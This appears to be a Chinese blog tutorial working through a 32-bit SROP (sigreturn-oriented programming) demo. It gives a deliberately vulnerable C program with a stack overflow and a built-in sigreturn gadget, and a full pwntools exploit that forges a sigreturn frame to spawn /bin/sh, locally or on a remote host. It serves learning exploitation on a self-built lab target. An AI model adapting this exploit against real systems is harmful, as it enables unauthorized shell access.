SROP 32位DEMO

本文介绍了一种名为Sigreturn Oriented Programming (SROP) 的攻击方式,并通过具体实例演示了如何利用该技术进行攻击。文中详细解释了遇到的问题及解决办法,如VDSO爆破失败和main函数栈溢出等问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


概述

开始学习SROP技巧。希望找到一个简单的demo来了解SROP。找了很多资料,但都没有实作成功。

主要参考这篇文章

1. Sigreturn Oriented Programming攻击简介

https://www.anquanke.com/post/id/85810

直接拿原文中的程序测试,没有复现成功,主要的问题有:

1. VDSO的爆破不成功,GDB调试发现对应的位置没有找到对应的指令:

sigreturn syscall

int 80h

解决方法是直接在代码中加入这些gadget。

使用了这里的代码:

https://github.com/eQu1NoX/srop-poc/blob/master/poc-32.c

PS:问题在于测试的系统不一样,VDSO中syscall的偏移位置有变化

2. 漏洞代码移到了单独的函数

放到main中时,main执行到ret时会core,不知道为什么?

PS:失败的原因在于main函数的栈溢出不好搞。Main开始对ESP进行了取整,EBP-4的地方存储的是addr_of_argc。Main的结尾,ESP是通过EBP-4处保存的addr_of_argc进行恢复的。这样main函数栈溢出不成功的原因就很清楚了,EBP-4(addr_of_argc)被覆盖成了一个非法的地址,lea     esp, [ecx-4]这条指令会挂;而且真正的返回地址也没有设置好(不在EBP+4)。

程序

#include <stdio.h>

#include <unistd.h>

 

char buf[10] = "/bin/sh\x00";

 

void ret_15(void) {

asm(".intel_syntax noprefix\n");

asm("mov eax, 0x77\n");

asm("int 0x80\n");

asm("ret\n");

}

 

int vul()

{

char s[0x100];

puts("input something you want: ");

read(0, s, 0x400);

return 0;

}

 

int main()

{

vul();

return 0;

}

 makefile

build:

    gcc -o srop_test srop_test.c -fno-stack-protector -masm=intel -m32

 

EXP

from pwn import *

import random

 

#context(os='linux', arch='i386', log_level='debug')

context(os='linux', arch='i386')

 

program_name = './srop_test'

binsh_addr = 0x804a020

bss_addr = 0x804a02a

ret_sigreturn_addr = 0x0804843e #address of ret_sigreturn

syscall_addr = 0x08048443   #address of int 80h

 

def exploit(p):

payload = 'a' * 0x10c

frame = SigreturnFrame(kernel = "i386")

frame.eax = 0xb

frame.ebx = binsh_addr

frame.ecx = 0

frame.edx = 0

frame.eip = syscall_addr #address of int 80h

frame.esp = bss_addr

frame.ebp = bss_addr

frame.gs = 0x63

frame.cs = 0x23

frame.es = 0x2b

frame.ds = 0x2b

frame.ss = 0x2b

ret_addr = ret_sigreturn_addr #address of sigreturn syscall

#print payload

payload += p32(ret_addr) + str(frame)

p.recvuntil("input something you want: ")

p.sendline(payload)

sleep(1)

p.sendline("echo pwned!")

r = p.recvuntil("pwned!")

if r.endswith("pwned!") == False :

raise Exception("Failed!")

return

if __name__ == "__main__":

if len(sys.argv) > 1:

p = remote(sys.argv[1], int(sys.argv[2]))

else:

p = process(program_name)

pause()

exploit(p)

p.interactive()

 测试环境

Ubuntu 16.04 64

运行

 

参考文章

1. Sigreturn Oriented Programming攻击简介。

https://www.anquanke.com/post/id/85810

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值